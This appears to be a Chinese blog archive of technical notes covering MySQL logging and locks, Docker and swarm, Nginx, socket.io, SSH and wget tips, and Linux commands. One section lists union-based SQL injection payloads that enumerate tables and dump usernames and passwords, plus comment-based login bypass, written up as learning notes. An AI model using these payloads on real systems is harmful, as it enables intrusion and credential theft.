1 | # 其中,binlog.000003 是指二进制文件的名称 |
如果启用了Mysql 的二进制日志,在数据库出现意外丢失数据时,可以使用 Mysqlbinlog 工具从指定时间点开始(例如,最后一次备份)直到现在。
Mysqlbinlog 恢复数据库的语法如下:
1 | mysql> mysqlbinlog [option] filename | mysql -uuser -ppass |
实例:使用Mysqlbinlog 恢复Mysql 数据库到2019年1月30日15:27:48时的状态,执行如下命令:
1 | mysqlbinlog --stop--date="2019-01-30 15:27:48" | path/binlogfilename -uuser -ppass |
因为修改Mysql 配置文件可以启用、停用二进制日志功能,但是需要重启Mysql 服务器。Mysql 为我们提供了一种更简单的方式可以暂停记录二进制日志。
暂停记录二进制日志:
1 | mysql> SET sql_log_bin = 0; |
恢复记录二进制日志:
1 | mysql> SET sql_log_bin = 1; |
错误日志文件包含了当Mysqld 启动和停止时,以及服务器在运行过程中发生任何严重错误时的相关信息。错误日志默认是开启的。
通过修改my.ini 配置文件,来启用或者停用错误日志
1 | # 如果需要启用,就在 mysqld 组下,加上 log-error 选项 |
首先使用如下命令查看错误日志的存储路径以及文件名:
1 | mysql> show variables like 'log_error'; |
Mysql 的错误日志文件是以文本文件的形式存储在文件系统中,可以直接删除。
1 | mysql> flush logs; |
通用查询日志记录了Mysql 的所有操作,包括启动和关闭服务、执行查询和更新语句等。
同样的,打开Mysql 的my.ini 配置文件。
1 | [mysqld] |
这里有两种方式,log 选项后面如果没有带任何参数表示使用Mysql 默认的存储位置,上面的也一样。
可以通过log 设置的日志文件存储路径,去查看具体文件。
慢查询日志记录查询时长超过指定时间的日志。通过慢查询日志,可以找出执行时间较长、执行效率较低的语句,然后进行优化。
同样的,打开编辑Mysql 的my.ini 配置文件:
1 | [mysqld] |
n 表示查询时间的极限值,如果超过了这个值,这个查询过程就会被记录到慢查询日志文件中。
查询慢查询日志同上。
上面这些日志配置的更改都需要重启服务器才能生效,另外还有一种方式可以查看运行时日志。
1 | set global general_log = on; |
这种方式的好处就是不需要重启Mysql 服务。
如果需要禁用:
1 | set global general_log = off; |
关于平时应该打开哪些日志的问题。
日志的开启既会影响Mysql 的性能,又会占用大量的磁盘空间。
因此如果不必要,应尽可能的少开启日志,根据不同的使用环境,考虑开启不同的日志。
例如:在开发环境中优化查询低效率的语句,可以开启慢查询日志;
如果需要记录用的所有查询操作,可以开启通用查询日志;
如果需要记录数据的变更,可以开启二进制日志;
错误日志默认开启;
Docker
的过程。Docker
这个词并不是第一次听说了,印象中好久以前就听说过这个东西了,只是一直没有真正去了解。软件开发最大的麻烦事之一,就是环境配置。
开发者常常说的一句话:它在我的机器上可以跑了。言下之意就是,其他机器可能跑不了。因为可以正常跑的前提是:操作系统的设置,各种软件和组件、库的安装,只有它们都正确了,软件才能正常运行。
配置环境如此麻烦,换一台机器,就得重来一次,旷日费时。因此,聪明的人们就想到,能不能从根本上解决问题。软件可以带环境安装。(这里说的软件是指最终要运行的工程)
虚拟机(virtual machine,简称VM)就是带环境安装的一种解决方案。它可以在一个操作系统中运行另外一种操作系统。比如在Windows系统中运行Linux 系统。应用程序对此毫无感觉,因为虚拟机看上去跟真是系统一模一样。而对于底层系统来说,虚拟机就是一个普通文件,不需要就删掉,对其他部分没有影响。
虚拟机(VM)是物理硬件的抽象, 将一台服务器转变为多台服务器。
虽然用户可以通过虚拟机还原软件的原始环境,但是这个方案有几个缺点。在后面会做比较。
由于虚拟机存在一些缺点,Linux 发展出了另一种轻量级的操作系统虚拟化解决方案,Linux 容器(Linux Containers,缩写为 LXC)。
Linux 容器不是模拟一个完整的操作系统,而是对进程进行隔离。
容器是应用层的抽象,它将代码和依赖关系打包在一起。 多个容器可以在同一台机器上运行,并与其他容器共享操作系统内核,每个容器在用户空间中作为独立进程运行。容器占用的空间比VM少(容器映像的大小通常为几十MB),可以处理更多的应用程序,并且需要更少的VM和操作系统。
由于容器是进程级别的,相比虚拟机有很多的优势。后面会做比较。
Docker 属于Linux 容器的一种封装,提供简单易用的容器使用接口。 它是目前最流行的 Linux 容器解决方案。
名称 | 占用资源 | 启动速度 | 级别 |
---|---|---|---|
Docker | 占用资源少 | 启动快 | 轻量级 |
虚拟机 | 占用资源多 | 启动慢 | 重量级 |
Docker CE(Docker Community Edition) 是社区版,简单理解是免费使用,提供小企业与小的IT团队使用,希望从Docker开始,并尝试基于容器的应用程序部署。
Docker EE(Docker Enterprise Edition) 是企业版,收费。提供功能更强。适合大企业与打的IT团队。为企业开发和IT团队设计,他们在生产中构建、交付和运行业务关键应用程序
Docker CE 有三种类型的更新通道:stable、test和 nightly
这里以Ubuntu 18.04 为例:
1 | 1. sudo apt install apt-transport-https ca-certificates software-properties-common curl-transport-https ca-certificates software-properties-common curl |
将当前用户添加到docker 用户组,可以不用sudo 运行docker
1 | $ sudo groupadd docker |
Docker 镜像就是一个只读的模板。
例如:一个镜像可以包含一个完整的 ubuntu 操作系统环境,里面仅安装了 Apache 或用户需要的其它应用程序。
镜像可以用来创建 Docker 容器。
Docker 利用容器来运行应用。
容器是从镜像创建的运行实例。它可以被启动、开始、停止、删除。每个容器都是相互隔离的、保证安全的平台。
可以把容器看做是一个简易版的 Linux 环境(包括root用户权限、进程空间、用户空间和网络空间等)和运行在其中的应用程序。
注:镜像是只读的,容器在启动的时候创建一层可写层作为最上层。
仓库是集中存放镜像文件的场所。有时候会把仓库和仓库注册服务器(Registry)混为一谈,并不严格区分。实际上,仓库注册服务器上往往存放着多个仓库,每个仓库中又包含了多个镜像(image),每个镜像有不同的标签(tag)。
仓库分为公开仓库(Public)和私有仓库(Private)两种形式。
最大的公开仓库是 Docker Hub,存放了数量庞大的镜像供用户下载。 国内的公开仓库包括 Docker Pool 等,可以提供大陆用户更稳定快速的访问。
当然,用户也可以在本地网络内创建一个私有仓库。
当用户创建了自己的镜像之后就可以使用 push 命令将它上传到公有或者私有仓库,这样下次在另外一台机器上使用这个镜像时候,只需要从仓库上 pull 下来就可以了。
注:Docker 仓库的概念跟 Git 类似,注册服务器可以理解为 GitHub 这样的托管服务。
容器和镜像的关系如下:
Dockerfile
用于定义镜像,依赖镜像来运行容器,仓库则是存放镜像的地方。
Dockerfile 是一个创建Docker 镜像所需的文件,其中会包含一组指令来告诉Docker 如何构建我们的镜像。
示例:
1 | $ cat Dockerfile |
首先,我们需要一个镜像,然后才能创建容器。想要在Docker 上创建一个镜像,非常简单。
docker build --tag=mydockerapp .
命令,创建一个Docker 镜像。–tag 选项命名。docker run -d -p 4000:80 mydockerapp
命令,创建一个新容器。该命令表示:Docker 以mydockerapp
镜像创建一个新容器,同时以分离模式在后台运行该应用程序,将该容器的80端口映射到主机的4000端口。
其中:-d
:让容器在后台运行-p
:将容器内部端口映射到指定的主机端口上。-P
:是容器内部端口随机映射到主机的端口上。
使用命令:
1 | $ docker run -p 4000:80 mydocker |
然后用docker container ls
查看容器列表
下图的意思表示:将该容器的端口80映射到4000,从而生成正确的URL http://localhost:4000。
Docker 开放了 80 端口映射到主机端口 4000 上。
前面我们实现了通过网络端口来访问运行在 docker 容器内的服务。下面我们来实现通过端口连接到一个 docker 容器
在开始之前,你得首先满足以下条件:
确保有docker-compose.yml
配置文件,然后依次执行以下命令
1 | $ docker swarm init |
在分布式应用程序中,应用程序的不同部分称为“服务”。例如,如果您想象一个视频共享站点,它可能包括一个用于在数据库中存储应用程序数据的服务,一个用户在上传内容后在后台进行视频转码的服务,一个用于前端的服务,等等。
服务实际上只是“生产中的容器”。服务只运行一个镜像,但它编码了镜像运行的方式 - 它应该使用哪些端口,应该运行多少个容器副本,以便服务具有所需的容量,以及等等。扩展服务会更改运行该软件的容器实例的数量,从而为流程中的服务分配更多计算资源。
在服务中运行的单个容器称为任务。任务被赋予以数字递增的唯一ID,最多为replicas您定义 的数量docker-compose.yml。
幸运的是,使用Docker平台定义,运行和扩展服务非常容易 - 只需编写一个docker-compose.yml文件即可。
Ubuntu 18.04 请看文末的参考链接。
MacOS 如果是从DockerHub
官网下载的dmg
安装的Docker,不用担心,Docker-Machine
已经安装好了。
Ubuntu 18.04 请看文末的参考链接。
MacOS 则需要从virtualbox
官网下载dmg安装包。
你可能会遇到一个错误,参考解决:如何在MacOS上安装VirtualBox
群由多个节点组成,可以是物理或虚拟机。基本概念很简单:运行docker swarm init
以启用swarm模式
并使当前计算机成为一个swarm管理器
。
这个章节是这个文档系列中学的时间最长的,坑有点多,走了不少弯路,这一节也挺重要的 重点记下笔记。
在MacOS 下,部分命令需要 sudo 权限。
在开始这部分之前,需要提前安装好Oracle VirtualBox
.
1 | $ docker-machine create --driver virutalbox myvm1 |
如果你收到了这样的信息:
1 | $ Error with pre-create check: |
说明你的Vritualbox
还是没有安装好。
查看正在运行的VM
1 | $ docker-machine ls |
这样就成功的创建了一台VM,接下来我们要将这台机器作为管理器,第二台作为工作者。
另外值得一提的是,尽管我在Ubuntu 18.04 上分别安装好了docker-machine、virtualbox,但当我创建 VM 时,总是会提示我计算机没有开启什么虚拟化(BOIS)。
后来我大概想明白了,可能是我的那台服务器的配置太低了,真的是某个设置项没有启动导致的。
今天在MacBook 上重新操作了一边,异常顺利。
记录一个问题:使用docker-machine create --driver virtualbox myvm1
创建VM时,创建成功了,但是并不是我想要的实例。得到了以下信息:
1 | (default) Creating a new host-only adapter produced an error: hostonlyif create failed: |
找了好久也没有找到答案,最后是怎么解决的呢?重启机器(加上 sudo)。
启动\停止 VM
1 | $ docker-machine start Name |
这里是一个小坑,之前在这里栽了好久。
这里有两种方式初始化节点或者说操作 VM(推荐第一种):
ssh 连接VM 实例,在Docker VM Cli 中执行命令
1 | $ docker-machine ssh myvm1 |
1 | $ docker-machine ssh myvm1 |
直接通过 docker-machine ssh myvm1
执行相应命令
1 | $ docker-machine ssh myvm1 "docker swarm init --advertise-addr <myvm1 ip>" |
执行上面得到的输出:
1 | $ docker-machine ssh myvm2 " docker swarm join |
这样,我们就成功的创建了一个集群,并将一个工作者作为一个节点加入了。
1 | docker@myvm1: $ docker node ls |
为什么上面要介绍那两种与 VM 实例进行交互的方式呢?
因为会和后面的在集群部署应用程序有一定联系。
在开始部署之前,我们需要了解到有两种方式可以实现。
到目前为止,我们与 VM 通信都是通过 docker-machine ssh
这种方式,另一种更好的方式就是:将当前shell配置为与VM上的Docker守护程序通信。
这样我们就可以直接本地的docker-compose.yml
文件远程部署应用程序,而无需将其复制到其他任何位置。
1 | $ docker-machine env myvm1 |
运行docker-machine ls 已验证 myvm1 现在是活动的计算机。带有星号(*)表示配置成功
1 | $ docker-machine ls |
部署应用程序
1 | $ ls |
传统的方式就是将docker-compose.yml
文件拷贝到对应的管理器中。
1 | # 使用scp 命令将文件拷贝到 vm 实例中 |
部署应用程序
1 | # 这里就可以随意选择使用之前介绍的方式一或者方式二 |
耐心等待一会,就可以看到看到部署成功了。
在访问集群之前,你需要知道以下两件事:
docker-machine ls
查看docker-compose.yml
文件创建一个新的容器并运行:
1 | $ docker run [OPTIONS] IMAGE [COMMAND] [ARG...] |
杀掉一个运行中的容器:
1 | $ docker kill -s KILL mydocker |
结束停止一个运行中的容器:
1 | $ docker container stop mydocker |
查看正在运行的容器:
1 | $ docker ps |
停止Web 应用容器
这个只是停止该容器的运行,并没有杀死
1 | $ docker stop mydocker |
启动Web 应用容器
已经停止的容器,可以使用命令 docker start 来启动。
1 | $ docker start mydocker |
移除Web 应用容器
1 | $ docker rm mydocker |
如何创建一个Docker 镜像
1 | $ docker build --tag=mydockerapp # 注意:标签名只能小写 |
列出下载到计算机中的镜像
1 | $ docker image ls |
查找镜像
1 | $ docker search nginx |
获取一个新镜像
如果我们决定使用上图中的 nginx 官方镜像,使用如下命令:
1 | $ docker pull nginx |
列出下载到计算机中的 container
1 | $ docker container ls |
登入hub.docker.com
1 | $ docker login |
标记镜像,以便上传至目标位置
1 | $ docker tag mydocker aikang/get-started:part1 |
将标记的镜像上传到存储库:
1 | $ docker push mydocker aikang/get-started:part1 |
从远程存储库中拉出并运行映像
1 | $ docker run -d -p 4000:80 aikang/get-started:part1 |
注意:无论在哪里执行docker run
,它都会提取你的镜像,以及Python和所有依赖项requirements.txt,并运行你的代码。它们都在一个整洁的小包中一起旅行,你不需要在主机上安装任何东西让Docker运行它。
群集初始化,可以使节点变成群集管理器
1 | $ docker swarm init |
以服务运行
1 | $ docker stack deploy -c docker-compose.yml getstartedlab |
列出与应用程序关联的正在运行的服务
1 | $ docker service ls |
查看与堆栈相关的所有服务
1 | $ docker stack services getstartedlab |
列出服务任务
1 | $ docker service ps getstartedlab |
关闭服务
1 | $ docker stack rm getstartedlab |
查看集群中的节点
1 | $ docker node ls |
创建一个VM 实例(Win、Mac、Linux)
1 | $ docker-machine create --driver virtualbox myvm1 |
使用ssh 连接VM 实例
1 | $ docker-machine ssh myvm1 |
查看关于节点的基本信息
1 | $ docker-machine env myvm1 |
使用scp命令将本地文件copy到VM实例中
1 | $ docker-machine scp <filename> myvm1:~ |
删除指定VM
1 | $ docker-machine rm myvm1 |
将Shell 与VM 连接
1 | $ eval $(docker-machine env myvm1) |
将Shell 与VM 断开,使用本地连接
1 | $ eval $(docker-machine env -u) |
以下操作均需要在VM CLI 中运行
初始化集群
1 | $ docker swarm init --advertise-addr <myvm1 ip> |
将节点加入集群
1 | $ docker swarm join --token <token> <ip>:2377" |
让工作者离开集群
1 | $ docker swarm leave |
强制离开并关掉集群
1 | $ docker swarm leave -f |
查看该节点的详情信息
1 | $ docker node inspect <node ID> |
部署应用程序
1 | $ docker stack deploy -c <file> <app> |
查看Docker版本:
1 | $ docker version |
显示Docker系统信息,包括镜像和容器数:
1 | $ docker info |
查看Docker 容器的配置和状态信息。
1 | $ docker inspect mydocker |
查看指定容器映射到宿主机的端口号。
1 | $ docker port mydocker |
查看Web 应用程序日志
1 | $ docker logs -f mydocker |
查看Web 应用程序容器的进程
1 | $ docker top mydocker |
在该模式下容器没有对外网络,本地机只有一个回路地址
在该模式下,与另一个容器共享网络
在该模式下,与主机共享网络
该模式为Docker 默认的网络模式,在这种模式下,Docker 容器与外部的通信都是通过 iptable 实现的。
该模式为Docker 目前原生的跨主机多子网模型,主要是通过 vxlan 技术实现。
Node
写的,需要翻译成PHP
版本的。在Node.js 中,这是一段用于生成“加盐”的哈希值。
1 | var crypto = require('crypto'); |
如果要翻译成PHP版本,其实非常简单,直接使用PHP 的 hash_hmac
函数就可以了。
1 | <?php |
如果需要加密的部分,并不是普通的字符串,而是二进制字符串,那么需要使用pack
函数。
1 | var_dump(hash_hmac("sha1", "office:fred", "AA381AC5E4298C23B3B3333333333333333333")); |
先将十六进制字符串转换为二进制数据,然后再将其传递给hash_hmac
:
1 | var_dump(hash_hmac("sha1", "office:fred", pack("H*", "AA381AC5E4298C23B3B3333333333333333333"))); |
在PHP 中,如果需要获取某个字符串的md5 加密之后的哈希值,非常简单,直接使用md5
函数即可。
但是在node.js
中,并没有为我们直接提供这样的函数,所以需要手动调用crypto
模块去转换:
1 | var pwd = "122410"; |
payload
。说明:以下的
payloads
都基于单引号字符型注入。若是整型注入则把单引号和注释符(–+)去掉,若是双引号注入则把单引号换成双引号。
也就是基于这样一种情况:
1 | SELECT * FROM Student WHERE id = '1'; |
1 | ?id=1' order by 数值 --+ |
1 | ?id=-1' union select 1,2,3 --+ |
注意:这里需要传递一个不存在的条件,比如:
id=-1
1 | ?id=-1' union select 1,2,database() --+ |
1 | ?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+ |
函数
group_concat()
把所有结果都在一行输出
1 | ?id=-1' union select 1,2,(select group_concat(schema_name) from information_schema.schema) --+ |
1 | ?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security' --+ |
查询某个表中的所有字段:
1 | ?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+ |
查询某个表中的字段内容
1 | ?id=-1' union select 1,2,(select group_concat(name, 0x3a, passwd) from security.users) |
0x3a会被转义位冒号
:
SQL UNION 操作符合并两个或多个 SELECT 语句的结果,需要注意的是:UNION 内部的每个 SELECT 语句必须拥有相同数量的列。
SQL 注入
的功能,无奈发现自己于对SQL 注入
竟有点陌生,本着搞清楚原理才能更好的理解Bug 产生的原因,于是便有了这篇笔记。SQL 注入是一种将SQL 语句添加到REQUEST 参数中,传递到服务器并执行的一种攻击手段。
SQL 注入攻击是REQUEST 引數未经过过滤,然后直接拼接到SQL 语句中,解析并执行,而达到预想之外的一种行为。
这里以PHP
、Mysql
为例,介绍一下完整的SQL 注入攻击是如何产生的。
1 | <?php |
调用地址是http://127.0.0.1/sqli.php?id=1
,使用GET
传入参数id
,输出的SQL 语句如下:
1 | SELECT * FROM Student WHERE id = '1' |
正常情况下,会返回id = 1
的学生信息。
如果在浏览器中输入:http://127.0.0./sqli.php?id=1' union select 1,2--+
会怎样呢?输出的SQL 语句如下:
1 | SELECT * FROM Student WHERE id = -1 or 1=1 |
这会导致所有的学生信息都被输出了,为什么会这样呢?这是因为id = -1
是一个不存在的条件,而1 = 1
却是一个永远存在的条件,这就相当于没有加 Where 条件。
现在有这样一种场景:http://127.0.0./login.php
模拟用户登录。假设正确的用户名和密码是Boo
、122410
,那么在正常的登录情况下所执行的SQL 语句如下:
1 | SELECT * FROM Student WHERE username = 'Boo' ADN password = '122410' |
由于用户名和密码都是字符串,所以SQL 注入会把参数携带的数据变成Mysql
中的注释。Mysql 中的注释有两种。
#
假设POST
传递的参数分别是:username = Boo'#
、password = xxxxxx
,那么产生的SQL 语句则是:
1 | SELECT * FROM Student WHERE username = 'Boo'#'ADN password = 'xxxxxx' |
因为#
号 后的所有字符串都会被当成注释来处理,所以上面的SQL 语句等价于:
1 | SELECT * FROM Student WHERE username = 'Boo' |
--
假设POST
请求传递的参数分别是:username = Boo'--
、password = xxxxxx
,那么产生的SQL 语句则是:
1 | SELECT * FROM Student WHERE username = 'Boo'-- 'AND password = 'xxxxxx' |
因为--
号 后面的所有内容都会被当成注释处理,所以上面的SQL 语句等价于:
1 | SELECT * FROM Student WHERE username = 'Boo' |
无论是上面的哪一种情况,攻击者都能在不知道具体密码的情况下而成功登录。
这大概就是一个简单的SQL注入产生的完整过程了,这里只是抛砖引玉的介绍了下原理,而实际场景中的SQL 注入当然远远不止这两种。
客户端会发出一些事件的状态连接到Redis 服务器。
客户端连接Redis 时,如果出现异常,则会触发Error 事件。
客户端连接至Redis 时,会触发连接事件。
将接收到来自订阅频道的消息,
1 | client.on("message", function (channel, message) { |
监听订阅事件,返回订阅频道的订阅数量。
1 | client.on("subscribe", function (channel, count) { |
将信息 message
发送到指定的频道 channel
。
返回值:接收到信息 message
的订阅者数量。
1 | PUBLISH channel message |
订阅给定频道的信息。
返回值:接收到的信息。
1 | SUBSCRIBE channel [channel ...] |
socket.io
和 redis
完成了一些小功能,觉得很实用,所以整理一下socket.io
相关的知识。socket.io
是什么它是一个服务端与客户端之间建立通讯的工具。
服务端创建好服务之后,客户端通过主机与之建立连接。然后就可以进行通讯了。
想要使用好socket.io
,一定要理解通讯的概念。通讯一定是双向的,如果客户端能够收到消息,那么在某个地方就一定存在服务端向客户端推送消息。
要开始使用socket.io
进行开发,需要先安装Node和npm。
创建一个名为app.js
的文件,并添加以下代码。
1 | var app = require('express')(); |
这样就完成了一个最简单的socket
服务端。
创建index.html
文件来作为客户端提供服务。
1 | <!DOCTYPE html> |
启动服务
1 | node app.js |
创建的服务运行在本地的 3000
端口上,打开浏览器,输入http://localhost:3000
进行访问。
socket.io
的核心理念就是允许发送、接收任意事件和任意数据。任意能被编码为 JSON 的对象都可以用于传输。二进制数据 也是支持的。
在上面的代码中,我们已经创建了一个服务端的socket.io
对象,如果想要能正常通讯,还需要在客户端同样也创建一个socket.io
对象。这个脚本由服务端的/socket.io/socket.io.js
提供。
1 | <!DOCTYPE html> |
在客户端中建立 socket.io
连接。
在服务端中添加以下代码:
1 | ... |
现在再次访问http://localhost:3000
,不仅可以在浏览器中看见hello world
,如果刷新浏览器,还能在控制台中看见以下内容:
1 | A user connected |
在上面的案例中,我们使用了socket.io
的connection
和disconnect
事件,socket.io
还有很多其中事件。
在服务端中有以下是保留字:
在客户端中以下是保留字:
客户端 提供的一些用于处理错误/异常的API。
1 | Connect − When the client successfully connects. |
广播意味着向所有连接的客户端发送消息。
要向所有客户端广播事件,我们可以使用io.sockets.emit
方法。
1 | ... |
广播在socket.io
中应用的非常多,有广播就意味着有接收。需要在客户端中处理广播事件:
1 | <!DOCTYPE html> |
可以尝试打开多个浏览器,输入http://localhost:3000
,可能会得到以下结果:
如果一台服务器,需要配置多套站点,推荐使用 IP + 端口
配置站点,然后使用反向代理指向端口。
站点配置
1 | server { |
多站点配置
1 | // 站点1 |
反向代理其实已经在上面的配置中出现过了,多站点配置的原理就是利用反向代理。
1 | server { |
申请好证书之后,将其放在服务器上,然后编辑Nginx 配置:
1 | server { |
配置好 https
之后,还需要做一件事,才能保证 https
能够正常访问。
因为访问任何一个网站时,默认使用的是http
协议,所以需要在Web Server
中配置http
自动跳转 https
。
1 | server { |
1 | mysql -hlocalhost -uroot -p |
1 | set global general_log=on; |
1 | show variables like 'general_log_file'; |
1 | tail -f /your_mysql_log_file_path |
MySQL有三种锁的级别:页级、表级、行级。
因为这篇笔记只介绍Mysql 行锁,所以这里不对其他类型的锁做介绍了。
InnoDB实现了两种类型的行锁:
所谓X锁,是事务T对数据A加上X锁时,只允许事务T读取和修改数据A; 所谓S锁,是事务T对数据A加上S锁时,其他事务只能再对数据A加S锁,而不能加X锁,直到T释放A上的S锁
InnoDB
类型的数据表,SQL 如下:1 | CREATE TABLE `gap` ( |
1 | start transaction; |
1 | start transaction; |
在会话2中 插入20 > id < 39
范围外的值时 可以执行成功,而当要插入 [20,39)
范围内的值时 会遇到gap lock 。
1 | SELECT * FROM information_schema.INNODB_TRX; |
不会意外,能看到下面两条记录:
可以看到 进程id为3175 的事务在锁住了,而另一个id为3173的事务正在执行,但是没有提交事务。
这是因为执行update 语句之后,mysql 会执行索引扫描并在该表上施加一个 next-key lock
,向左扫描到20,向右扫描到39 ,锁定区间左闭右开,所以lock的范围是 [20,39)
。
根据实际情况的不同,有不同的方式可以避免死锁,这里介绍常用的几种:
问题描述:Mysql 的修改语句似乎都没有生效,同时使用Mysql GUI 工具编辑字段的值时会弹出异常。
在解决Mysql 死锁的问题之前,还是先来了解一下什么是死锁。
死锁是指两个或两个以上的进程在执行过程中,因争夺资源而造成的一种互相等待的现象,若无外力作用,它们都将无法推进下去.此时称系统处于死锁状态或系统产生了死锁,这些永远在互相等的进程称为死锁进程。
死锁的具体表现有两种:
阻止死锁的途径就是避免满足死锁条件的情况发生,为此我们在开发的过程中需要遵循如下原则:
1.尽量避免并发的执行涉及到修改数据的语句。
2.要求每一个事务一次就将所有要使用到的数据全部加锁,否则就不允许执行。
3.预先规定一个加锁顺序,所有的事务都必须按照这个顺序对数据执行封锁。如不同的过程在事务内部对对象的更新执行顺序应尽量保证一致。
Mysql 查询是否存在锁表有多种方式,这里只介绍一种最常用的。
1 | SELECT * FROM information_schema.INNODB_TRX |
可以看到 进程id为3175 的事务在锁住了,而另一个id为3173的事务正在执行,但是没有提交事务。
1 | SELECT * FROM INFORMATION_SCHEMA.INNODB_LOCKS; |
1 | SELECT * FROM INFORMATION_SCHEMA.INNODB_LOCK_WAITS; |
1 | SHOW OPEN TABLES where In_use > 0; |
1 | show engine innodb status |
在发生死锁时,这几种方式都可以查询到和当前死锁相关的信息。
如果需要解除死锁,有一种最简单粗暴的方式,那就是找到进程id之后,直接干掉。
查看当前正在进行中的进程。
1 | show processlist |
上面两个命令找出来的进程id 是同一个。
杀掉进程对应的进程 id
1 | kill id |
验证(kill后再看是否还有锁)
1 | SHOW OPEN TABLES where In_use > 0; |
console.log
的标准输出全部记录到文件中呢?我是没有选择那些大名鼎鼎的日志模块,如:
因为我的需求够简单,只需要能把日志记录到文件就行,所以使用了下面这种最简单的方式:
1 | var log_file = fs.createWriteStream(path.resolve(__dirname, ".pm2") + '/debug.log', {flags : 'w'}); |
http
与https
之间的转换。网站起初不能正常访问时,我没在意,以为是网络延迟(因为服务器放在国外),直到我打开控制台发现了如下异常:
这时我才意识到并不是网络延迟的问题,而是项目没有配置好。
当用户访问使用HTTPS的页面时,他们与web服务器之间的连接是使用SSL加密的,从而保护连接不受嗅探器和中间人攻击。
如果HTTPS页面包括由普通明文HTTP连接加密的内容,那么连接只是被部分加密:非加密的内容可以被嗅探者入侵,并且可以被中间人攻击者修改,因此连接不再受到保护。当一个网页出现这种情况时,它被称为混合内容页面。 —— MDN
通俗一点解释就是:https
的页面中混合着http
的请求,而这种请求不会被浏览器正常接受的,也被称作为混合内容页面。
既然已经明白了为什么会产生这个问题,那么要解决起来也就非常简单了。
about:config
,进入FireFox
高级配置页面。security.mixed_content.block_active_content
,将默认值true
更改为false
。这种方式仅适用于本地调试。
更直接有效的方式应该是约定好项目中的协议,统一使用https
或者http
。
molokai
。按照顺序执行完上面的命令,即可使用最经典的配色方案了。
1 | cd ~ |
实际效果:
]]>sshd_config
配置项。保持客户端与服务端之间的连接保持活动状态似乎是最常见策略。
ServerAliveInterval
:客户端在向服务器发送空数据包之前(等待连接保持活动状态)将等待的秒数。ClientAliveInterval
:服务器在向客户端发送空数据包之前(等待连接保持活动状态)将等待的秒数。设置为0(默认值)将禁用这些功能,因此如果空闲时间太长,连接可能会断开。
1 | Host myhostshortcut |
这么设置的作用是:客户端将等待空闲60秒钟(ServerAliveInterval
时间),然后向服务器发送 no-op null
数据包,并期待响应。
如果没有响应,则它将继续尝试上述过程直到10次(ServerAliveCountMax 次数 10 * 60 = 600秒)。如果服务器仍然没有响应,则客户端将断开ssh连接。
wget
是一个命令行的下载工具,对于经常使用Linux
的用户来说,真是再熟悉不过了。下面总结了一些实用的wget
使用技巧,可能会让你更加高效地使用 wget
。最常见的使用方式:
1 | $ wget http://example.com/filename.txt |
wget默认会以最后一个符合 /
的后面的字符来对下载文件命名,对于动态链接的下载通常文件名会不正确。
如果希望对这个下载的文件进行重命名,我们可以使用参数 -O
来指定一个文件名:
1 | $ wget -O file.zip http://example.com/filename.txt |
当需要下载比较大的文件时,使用参数 -b
可以隐藏在后台进行下载:
1 | $ wget -b http://wppkg.baidupcs.com/issue/netdisk/MACguanjia/BaiduNetdisk_mac_3.2.0.9.dmg |
然后可以使用以下命令查看当前的进度:
1 | $ tail -f wget-log |
这条命令可以下载 http://example.com 网站上 packages 目录中的所有文件。
参数说明:
-r
:下载目录-np
:不遍历父目录-nd
:不在本机重新创建目录结构1 | $ wget -r -np -nd http://example.com/packages/ |
与上一条命令相似,但多加了一个 --accept=iso
选项,这指示 wget 仅下载 i386 目录中所有扩展名为 iso 的文件。你也可以指定多个扩展名,只需用逗号分隔即可。
1 | $ wget -r -np -nd --accept=iso http://example.com/centos-5/i386/ |
此命令常用于批量下载的情形,把所有需要下载文件的地址放到 filename.txt 中,然后 wget 就会自动为你下载所有文件了。
1 | $ wget -i filename.txt |
通常我们在下载大文件时,为了防止中途因为网络不稳定等因素所引起的下载失败,可以使用 -c
参数,作为断点续传。
好处是:如果当时下载失败了,之后再次下载该文件时,会继续上一次的下载,而不用重头下载了。
1 | $ wget -c http://example.com/really-big-file.iso |
该命令可用来镜像一个网站,wget 将对链接进行转换。如果网站中的图像是放在另外的站点,那么可以使用 -H 选项
1 | $ wget -m -k (-H) http://www.example.com/ |
有时候我们好不容易输完一长串命令,却被提示”权限不足”,如果这个时候有一个命令记住上一次的输入内容那该多好。
还真有,!!
命令可以获取最后一次输入的命令,所以我们直接输入下面这个命令就可以了。
1 | $ sudo !! |
注意中间有一个空格。
nl
命令类似cat
命令,都是查看文件内容,但不同之处在于:nl
命令会在文本内容的每一行前面,添加行号。
1 | $ cat test.txt |
以树状的形式返回当前目录的文件夹结构,这个命令很好用。
1 | $ tree |
和tree
类似,不过它是返回当前运行的所有进程及其相关的子进程的树状结构。
1 | $ pstree | grep php |
这个命令特别实用,可以用来查看域名解析情况。
1 | dig 0x2BeAce.com +nostats +nocomments +nocmd |
这是一个有趣的命令,总所周知,用户在终端上键入的每一个命令都会被记录到history
中,那么有没有一个命令可以骗过history
,而不被记入呢?答案是有的。
在终端,只需要在键入命令之前输入一个或多个空格,这样你的命令就不会被记录了。
1 | $ hisotry |
查看系统信息
1 | $ uname -a |
查找发行版信息
1 | $ lsb_release -a |
查看当前日期
1 | $ date |
立即关机
1 | $ shutdown -h now |
重新启动
1 | $ reboot |
输出文件类型信息
1 | $ file test.txt |
在终端中进行简单的算数运算
1 | $ expr 1 + 3 |
重命名文件
1 | $ mv fileA.txt fileB.txt |
nohup 是一个 POSIX
命令,用于忽略 SIGHUP
。 SIGHUP信号是終端注销时所发送至程序的一个信号。
1 | nohub php script.php |
type 命令用来显示指定命令的类型,判断给出的指令是内部指令还是外部指令。
1 | type -a php |
命令类型:
查找进程
1 | ps -aux | grep php |
注意:每个操作系统的ps版本略有不同,Ubuntu 和Mac 上可以直接使用-aux
参数,但可能其他系统不能加破折号。
参考链接:Linux ps command help and example
杀死进程
pid
(会杀死指定pid 的进程)1 | kill -9 [pid] |
1 | killall php |
有时候很想找到某个文件,但是又不记得具体路径了,这时可以使用 find
命令:
1 | find / -name <file name> |
另外还有一个促使我写这篇笔记的原因就是:之前在 本地的 Ubuntu 上,竟然把用户玩坏了… 为了避免这种事情在服务器上发生,还是得深入研究下这一块。
在 Linux 上,添加用户有两种方式:useradd
和adduser
,其区别就是:
相比 useradd,adduser的使用要简单很多。
使用adduser 添加一个用户:
1 | $ adduser boo |
然后根据提示填写相应的内容,需要注意的是,该命令会自动的在 /home
目录下创建一个与用户同名的目录。
用 adduser 这个命令创建的账号是系统账号,可以用来登录到 ubuntu系统。
